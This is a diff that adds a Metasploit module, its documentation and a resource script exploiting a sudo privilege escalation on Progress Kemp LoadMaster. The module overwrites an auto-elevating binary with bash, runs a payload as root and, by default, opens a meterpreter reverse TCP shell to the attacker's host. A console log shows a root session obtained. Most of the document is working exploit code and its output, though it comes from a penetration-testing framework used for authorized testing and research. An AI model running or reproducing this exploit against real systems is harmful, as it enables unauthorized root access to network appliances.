Add Kemp Progress Loadmaster sudo abuse priv esc

documentation/modules/exploit/linux/local/progress_kemp_loadmaster_sudo_privesc_2024.md

@@ -0,0 +1,101 @@
+## Vulnerable Application
+Progress Kemp LoadMaster up to at least 7.2.59.2.22338.  The vendor is aware of this "feature," but
+has chosen not to change the behavior.  It was originally paired with CVE-2024-1212, but as this
+privilege escalation was not patched when CVE-2024-1212 was, we split it into its own module.
+This exploit/feature allows the default `bal` user to run several binaries with the `sudo` prefix
+that will elevate without prompting for a password.  As the configuration is based on filename and
+the `bal` user has write permissions to these files, the `bal` user can simply write over the existing
+binary with one of their choosing, then prefix it with `sudo` and launch the binary with `root`
+privileges.
+This module defaults to overwrite `/bin/loadkeys` with `/bin/bash`, though other binaries would work,
+too.
+
+For more details on the vulnerability:  
+https://rhinosecuritylabs.com/research/cve-2024-1212unauthenticated-command-injection-in-progress-kemp-loadmaster/
+
+https://support.kemptechnologies.com/hc/en-us/articles/23878931058445-LoadMaster-Security-Vulnerability-CVE-2024-1212
+
+A trial VM which the exploit should work against out of the box can be downloaded from:
+https://sso.kemptechnologies.com/register/kemp/vlm
+
+The AWS marketplace also has free trials which can be used. These require the "session management" to be enabled in order for the exploit to work. Since by default the admin WUI is behind basic auth.
+https://aws.amazon.com/marketplace/pp/prodview-kgh3dsfk7qcnw
+
+## Verification Steps
+1. Install the application
+1. Start msfconsole
+1. Gain a session on a Progress Kemp Loadmaster target as the `bal` user
+1. Do: `use exploits/linux/local/progress_kemp_loadmaster_sudo_privesc_2024`
+1. Do: `set SESSION <session>`
+1. Do: `set LHOST <your host IP>`
+1. Do: `run`
+1. You should get a shell as the `root` user.
+
+## Scenarios
+
+### LoadMaster 7.2.59.0.22007
+
+```msf
+msf6 exploit(linux/local/progress_kemp_loadmaster_sudo_privesc_2024) > show options
+
+Module options (exploit/linux/local/progress_kemp_loadmaster_sudo_privesc_2024):
+
+Name           Current Setting  Required  Description
+   ----           ---------------  --------  -----------
+BINARY_RENAME  /tmp/tEYych      yes       The temporary name to use to store the TARGET_BINARY.
+SESSION        1                yes       The session to run this module on
+TARGET_BINARY  /bin/loadkeys    yes       The path for a binary file that has permission to auto-elevate.
+TEMP_PAYLOAD   /tmp/DKFuC       yes       The temporary name to use to store the payload.
+
+
+Payload options (linux/x64/meterpreter_reverse_tcp):
+
+Name   Current Setting  Required  Description
+   ----   ---------------  --------  -----------
+LHOST  10.5.135.201     yes       The listen address (an interface may be specified)
+LPORT  4444             yes       The listen port
+
+
+Exploit target:
+
+Id  Name
+   --  ----
+0   Automatic
+
+
+
+View the full module info with the info, or info -d command.
+
+msf6 exploit(linux/local/progress_kemp_loadmaster_sudo_privesc_2024) > sessions
+
+Active sessions
+===============
+
+Id  Name  Type                   Information         Connection
+  --  ----  ----                   -----------         ----------
+1         meterpreter x64/linux  bal @ 10.5.134.141  10.5.135.201:4444 -> 10.5.134.141:28848 (10.5.134.141)
+
+msf6 exploit(linux/local/progress_kemp_loadmaster_sudo_privesc_2024) > run
+
+[*] Started reverse TCP handler on 10.5.135.201:4444
+[*] Running automatic check ("set AutoCheck false" to disable)
+[*] Found 3 indicators this is a KEMP product
+[!] The service is running, but could not be validated.
+[*] Delete /tmp/tEYych
+[*] Saving payload as /tmp/DKFuC
+[*] Moving /bin/loadkeys to /tmp/tEYych
+[*] Moving /bin/bash to /bin/loadkeys
+[*] Launching payload
+[+] Deleted /tmp/DKFuC
+[*] Meterpreter session 4 opened (10.5.135.201:4444 -> 10.5.134.141:28854) at 2024-04-17 13:37:14 -0500
+
+meterpreter > sysinfo
+Computer     : 10.5.134.141
+OS           : SuSE 7.2 (Linux 4.14.137)
+Architecture : x64
+BuildTuple   : x86_64-linux-musl
+Meterpreter  : x64/linux
+meterpreter > getuid
+Server username: root
+meterpreter > 
+```

modules/exploits/linux/local/progress_kemp_loadmaster_sudo_privesc_2024.rb

@@ -0,0 +1,101 @@
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+class MetasploitModule < Msf::Exploit::Local
+  Rank = ExcellentRanking
+
+  include Msf::Exploit::EXE
+  include Msf::Exploit::FileDropper
+  include Msf::Post::File
+
+  prepend Msf::Exploit::Remote::AutoCheck
+
+  def initialize(info = {})
+    super(
+      update_info(
+        info,
+        'Name' => 'Kemp LoadMaster Local sudo privilege escalation',
+        'Description' => %q{
+          This module abuses a feature of the sudo command on Progress Kemp
+          LoadMaster.  Certain binary files are allowed to automatically elevate
+          with the sudo command.  This is based off of the file name.  Some files
+          have this permission are not write-protected from the default 'bal' user.
+          As such, if the file is overwritten with an arbitrary file, it will still
+          auto-elevate.  This module overwrites the /bin/loadkeys file with another
+          executable.
+        },
+        'Author' => [
+          'Dave Yesland with Rhino Security Labs',
+          'bwatters-r7' # module,
+        ],
+        'License' => MSF_LICENSE,
+        'References' => [
+          ['URL', 'https://rhinosecuritylabs.com/research/cve-2024-1212unauthenticated-command-injection-in-progress-kemp-loadmaster/'],
+          ['URL', 'https://kemptechnologies.com/kemp-load-balancers']
+        ],
+        'DisclosureDate' => '2024-03-19',
+        'Notes' => {
+          'Stability' => [ CRASH_SAFE ],
+          'SideEffects' => [ IOC_IN_LOGS, ARTIFACTS_ON_DISK],
+          'Reliability' => [ REPEATABLE_SESSION ]
+        },
+        'SessionTypes' => ['shell', 'meterpreter'],
+        'Platform' => ['unix', 'linux'],
+        'Arch' => [ARCH_X86, ARCH_X64],
+        'Targets' => [['Automatic', {}]],
+        'Privileged' => true,
+        'DefaultOptions' => {
+          'PAYLOAD' => 'linux/x64/meterpreter_reverse_tcp'
+        }
+      )
+    )
+    register_options([
+      OptString.new('TARGET_BINARY', [true, 'The path for a binary file that has permission to auto-elevate.', '/bin/loadkeys']),
+      OptString.new('BINARY_RENAME', [true, 'The temporary name to use to store the TARGET_BINARY.', '/tmp/' + Rex::Text.rand_text_alpha(5..9) ]),
+      OptString.new('TEMP_PAYLOAD', [true, 'The temporary name to use to store the payload.', '/tmp/' + Rex::Text.rand_text_alpha(5..9) ]),
+    ])
+  end
+
+  def check
+    score = 0
+    score += 1 if read_file('/usr/wui/index.js').include?('KEMP')
+    score += 1 if read_file('/etc/motd').include?('Kemp LoadMaster')
+    score += 1 if exists?('/usr/wui/eula.kemp.html')
+    vprint_status("Found #{score} indicators this is a KEMP product")
+    return CheckCode::Detected if score > 0
+
+    return CheckCode::Safe
+  end
+
+  def exploit
+    vprint_status("Delete #{datastore['BINARY_RENAME']}")
+    if exists?(datastore['BINARY_RENAME'])
+      fail_with(Msf::Module::Failure::BadConfig, "#{datastore['BINARY_RENAME']} exists on host; chose another name.")
+    end
+    if exists?(datastore['TEMP_PAYLOAD'])
+      fail_with(Msf::Module::Failure::BadConfig, "#{datastore['TEMP_PAYLOAD']} exists on host; chose another name.")
+    end
+
+    begin
+      vprint_status("Saving payload as #{datastore['TEMP_PAYLOAD']}")
+      write_file(datastore['TEMP_PAYLOAD'], generate_payload_exe)
+      chmod(datastore['TEMP_PAYLOAD'])
+      register_file_for_cleanup(datastore['TEMP_PAYLOAD'])
+
+      vprint_status("Moving #{datastore['TARGET_BINARY']} to #{datastore['BINARY_RENAME']}")
+      cmd_exec("sudo /bin/cp #{datastore['TARGET_BINARY']} #{datastore['BINARY_RENAME']}")
+
+      vprint_status("Moving /bin/bash to #{datastore['TARGET_BINARY']}")
+      cmd_exec("sudo /bin/cp /bin/bash #{datastore['TARGET_BINARY']}")
+
+      vprint_status('Launching payload')
+      cmd_exec("sudo #{datastore['TARGET_BINARY']} -c #{datastore['TEMP_PAYLOAD']}")
+    ensure
+      if exists?(datastore['BINARY_RENAME'])
+        cmd_exec("sudo /bin/cp #{datastore['BINARY_RENAME']} #{datastore['TARGET_BINARY']}")
+        cmd_exec("sudo /bin/rm #{datastore['BINARY_RENAME']}")
+      end
+    end
+  end
+end

scripts/resource/run_progress_kemp_loadmaster_sudo_priv_esc_2024.rc

@@ -0,0 +1,8 @@
+<ruby>
+print_status("Running Progress Kemp Loadmaster sudo Privilege Escalation")
+run_single("use modules/exploits/linux/local/progress_kemp_loadmaster_sudo_privesc_2024")
+run_single("set session -1")
+session_lhost = framework.sessions[framework.sessions.keys.last].tunnel_local.split(':')[0..-2].join(':')
+run_single("set lhost #{session_lhost}")
+run_single("run")
+</ruby>